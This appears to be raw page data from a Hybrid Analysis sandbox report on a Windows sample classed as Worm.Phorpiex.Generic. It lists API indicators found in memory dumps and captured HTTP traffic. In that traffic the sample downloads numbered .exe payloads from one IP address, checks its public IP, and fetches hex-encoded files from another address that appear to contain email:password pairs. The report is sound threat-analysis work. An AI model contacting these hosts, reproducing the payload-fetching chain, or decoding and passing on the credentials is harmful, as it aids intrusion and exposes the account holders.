26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 7e:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T49f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Worm.Phorpiex.Generic Sample 5549d978e2e0… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 5549d978e2e0…. Malware family: Worm.Phorpiex.Generic. Threat score 100/100. 13/27 AV engines flagged this file. 7 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5549d978e2e00768fc99d95bd7644dfebacc261284e3b19a79e6e4c1f320fa3a","keywords":["Malicious","Worm.Phorpiex.Generic","malware analysis","sandbox report","threat intelligence","5549d978e2e00768fc99d95bd7644dfebacc261284e3b19a79e6e4c1f320fa3a"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"5549d978e2e00768fc99d95bd7644dfebacc261284e3b19a79e6e4c1f320fa3a","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Worm.Phorpiex.Generic","antivirusDetections":{"malicious":13,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T7e5,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "00000000-00000412.00000000.131633.00264000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000412.00000000.131633.00264000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001376.00000000.131557.00B14000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004076.00000000.132011.01144000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004396.00000000.132106.00984000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004700.00000000.131909.00804000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005736.00000000.131274.01174000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006316.00000000.131710.010D4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006808.00000000.131418.012D4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007332.00000000.131346.00C74000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007508.00000000.131793.00FB4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00008536.00000000.132218.01004000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00009196.00000000.132302.00DF4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00009628.00000000.132423.00BE4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00010168.00000000.132525.00924000.00000002.mdmp")28:Tf67,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "5549d978e2e00768fc99d95bd7644dfebacc261284e3b19a79e6e4c1f320fa3a.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "5549d978e2e00768fc99d95bd7644dfebacc261284e3b19a79e6e4c1f320fa3a.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000412.00000000.131633.00264000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000412.00000000.131633.00264000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001376.00000000.131557.00B14000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001376.00000000.131557.00B14000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004076.00000000.132011.01144000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004076.00000000.132011.01144000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004396.00000000.132106.00984000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004396.00000000.132106.00984000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004700.00000000.131909.00804000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004700.00000000.131909.00804000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005736.00000000.131274.01174000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005736.00000000.131274.01174000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006316.00000000.131710.010D4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006316.00000000.131710.010D4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006808.00000000.131418.012D4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006808.00000000.131418.012D4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007332.00000000.131346.00C74000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007332.00000000.131346.00C74000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007508.00000000.131793.00FB4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007508.00000000.131793.00FB4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008536.00000000.132218.01004000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008536.00000000.132218.01004000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00009196.00000000.132302.00DF4000.00000002.mdmp")29:T9c8,Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00000412.00000000.131633.029C0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00001376.00000000.131557.03200000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004076.00000000.132011.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004396.00000000.132106.03210000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004700.00000000.131909.02DB0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00005736.00000000.131274.00C80000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00006316.00000000.131710.032E0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00006808.00000000.131418.00E10000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007332.00000000.131346.02DC0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007508.00000000.131793.00D80000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00008536.00000000.132218.03430000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00009196.00000000.132302.00710000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00009628.00000000.132423.02DE0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00010168.00000000.132525.02E20000.00000004.mdmp")2a:Ta11,"" (Indicator: "enumchildwindows"; Source: "00000000-00000412.00000000.131633.029C0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00001376.00000000.131557.03200000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004076.00000000.132011.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004396.00000000.132106.03210000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004700.00000000.131909.02DB0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005736.00000000.131274.00C80000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00006316.00000000.131710.032E0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00006808.00000000.131418.00E10000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007332.00000000.131346.02DC0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007508.00000000.131793.00D80000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00008536.00000000.132218.03430000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00009196.00000000.132302.00710000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00009628.00000000.132423.02DE0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00010168.00000000.132525.02E20000.00000004.mdmp")32:T9f2," HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:00 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Sun 24 May 2026 03:04:55 GMT Connection: keep-alive ETag: "6a126ad7-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:02 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Mon 25 May 2026 02:25:40 GMT Connection: keep-alive ETag: "6a13b324-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /3.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:03 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Sun 24 May 2026 20:03:02 GMT Connection: keep-alive ETag: "6a135976-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 26 May 2026 10:37:03 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=Tt9rhpnXlrO66Ju7plttJYKzgxnqpwbs03jbgtr0sCU-1779791823.3627975-1.0.1.1-tvoY1y68YRIWGtWP9GI7rBLu4QKl2D4hEDkXp5abIc8eKOiFoYg0zfK1vATbvh8ai88a0CiGSZRk1cmZWy3mb9KIbtyYuRDFooWhwPVdLT5ggsbJ2mRI7hWACLpKk2U2; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 26 May 2026 11:07:03 GMT Server: cloudflare CF-RAY: a01c24700aa6f3e8-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /1/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:03 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 24 May 2026 02:02:45 GMT Connection: keep-alive ETag: "6a125c45-6" Accept-Ranges: bytes with response body ==>35353037390A....... "GET /1/9220.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:05 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C63656E74....... "GET /4.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:05 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Sun 24 May 2026 20:04:16 GMT Connection: keep-alive ETag: "6a1359c0-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 26 May 2026 10:37:05 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=0vDfCrc1PZJR2F8Q1FwZwYXl.vFOCNzvEdUq48DrH0I-1779791825.1057854-1.0.1.1-Lzx_Jq8FmjZhWHfSwEM7a8if7CBQMNwIpVcFOR8ncM6iZicW.xZJOHu_m5DTGvg7Y1.gPXvAJ0mLu_AgnpCG7eW0Mf57bzLz9tdGLTRzEp4hNPsImA_GJWa86mZqgI__; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 26 May 2026 11:07:05 GMT Server: cloudflare CF-RAY: a01c247aed77eb30-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /2/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:05 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Mon 25 May 2026 02:27:07 GMT Connection: keep-alive ETag: "6a13b37b-6" Accept-Ranges: bytes with response body ==>34373232370A....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 26 May 2026 10:37:05 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=JVR4CX.QT1NtVov2HVB9K4xA8ptEztvk7ll9vciTtKA-1779791825.8406348-1.0.1.1-5IteaFh2r9fyCBxqDQtjs2gVwrSK1aJQh5W4ZbUclGrGtoF.TtoPrlQYfovjLlCrY5oI_J3OPgGgvtgAeQqN22RckCwNpDmxxovAzykuLrcjE4KBtddQMZmQomZCFItX; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 26 May 2026 11:07:05 GMT Server: cloudflare CF-RAY: a01c247f8bcacf17-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /2/13149.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:06 GMT Content-Type: text/plain Content-Length: 257739 Last-Modified: Sat 23 May 2026 08:43:54 GMT Connection: keep-alive ETag: "6a1168ca-3eecb" Accept-Ranges: bytes with response body ==>73686D696C6B32320A7269636172646F646F6D696E677530333930406174742E6E65743A6665726E616E646F380A67756E6D616E363940636F782E6E65743A61....... "GET /5.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:06 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Sun 24 May 2026 20:05:22 GMT Connection: keep-alive ETag: "6a135a02-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /3/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:06 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 19 Apr 2026 09:28:25 GMT Connection: keep-alive ETag: "69e4a039-6" Accept-Ranges: bytes with response body ==>33373438380A....... "GET /3/18047.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:07 GMT Content-Type: text/plain Content-Length: 258073 Last-Modified: Sun 19 Apr 2026 08:48:26 GMT Connection: keep-alive ETag: "69e496da-3f019" Accept-Ranges: bytes with response body ==>656C6C6F6A75747461313068656C6C6F6A7574746131300A73616272696E612E617263616E67656C6F32303038406172636F722E64653A313264656C697A6961....... "GET /6.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:07 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Sun 24 May 2026 20:06:24 GMT Connection: keep-alive ETag: "6a135a40-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 26 May 2026 10:37:08 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=dqeY4L2DQV9b6ZKnOjyYsO4oYk_VPoeUxzOcRe1OFKM-1779791828.1698844-1.0.1.1-FdaE2dsVPiWmu.H0D3FZAfQHcUX1tfV9VxnF8W9qeHc5quXYXl6mgpVZIAul4gtvDdicKU.dww2ES0g3Rf1xE1mzTNFf.tiq2lqtTFeYKPxl8DwP__bF4VN.keCinPFR; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 26 May 2026 11:07:08 GMT Server: cloudflare CF-RAY: a01c248e0da28b9e-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /4/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:08 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Mon 20 Apr 2026 02:00:15 GMT Connection: keep-alive ETag: "69e588af-6" Accept-Ranges: bytes with response body ==>36333532310A....... "GET /7.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:09 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Sun 24 May 2026 20:11:08 GMT Connection: keep-alive ETag: "6a135b5c-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /4/24477.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:09 GMT Content-Type: text/plain Content-Length: 258232 Last-Modified: Sun 19 Apr 2026 15:54:02 GMT Connection: keep-alive ETag: "69e4fa9a-3f0b8" Accept-Ranges: bytes with response body ==>61686F6F2E636F6D3A636F66666565320A6D636E757474796769726C3935407961686F6F2E636F6D3A537061726B79313939340A6D615F6D696572407961686F....... "GET /8.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:10 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Sun 24 May 2026 20:16:12 GMT Connection: keep-alive ETag: "6a135c8c-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 26 May 2026 10:37:11 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=NgbR_UtwiGQeW9j939e6KbtLIamlRiUgCufydAlNYBE-1779791831.3794425-1.0.1.1-sL_XbkAXQS6P_4vxUqcwDQZkh9vl_BLxrI1bNc.zTUuz1BNhL5iBqSObywA5a8fbvPToiIK3bGue0HRyyl7Q7Ptsr0MIpX6jl.2jB6OPyBW1Juu4CDdYMDZvfJqffbvO; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 26 May 2026 11:07:11 GMT Server: cloudflare CF-RAY: a01c24a21cb11fdb-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Tue 26 May 2026 10:37:11 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=kOcdiXufN1egbncg7uVxwFSr7I9TxnGyGMTjiL3d6Lg-1779791831.4301014-1.0.1.1-HSd_gW7CI87Nm2ZzM40GJuOAvzcuHxrjzcEaCeCiVMxo6nG.0vzbiYN0TOk51u1vlCNJFJZZJL96tues.O7bppwYgJXbxaQjpsJftx8JibH.ewpYzKHQrHaMCutBIAI_; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Tue 26 May 2026 11:07:11 GMT Server: cloudflare CF-RAY: a01c24a26baaceed-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /5/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:11 GMT Content-Type: text/plain Content-Length: 7 Last-Modified: Thu 30 Apr 2026 12:29:06 GMT Connection: keep-alive ETag: "69f34b12-7" Accept-Ranges: bytes with response body ==>3132303936380A....... "GET /6/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:11 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Thu 14 May 2026 17:12:06 GMT Connection: keep-alive ETag: "6a060266-6" Accept-Ranges: bytes with response body ==>33303839330A....... "GET /9.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 26 May 2026 10:37:12 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Sun 24 May 2026 20:17:34 GMT Connection: keep-alive ETag: "6a135cde-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000.......45:T65ca,"" (Indicator: "GetDC"; Source: "00000000-00000412.00000000.131633.029C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000412.00000000.131633.029C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000412.00000000.131633.029C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000412.00000000.131633.029C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000412.00000000.131633.029C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000412.00000000.131633.029C0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000412.00000000.131633.029C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000412.00000000.131633.029C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001376.00000000.131557.03200000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001376.00000000.131557.03200000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001376.00000000.131557.03200000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001376.00000000.131557.03200000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001376.00000000.131557.03200000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001376.00000000.131557.03200000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001376.00000000.131557.03200000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: 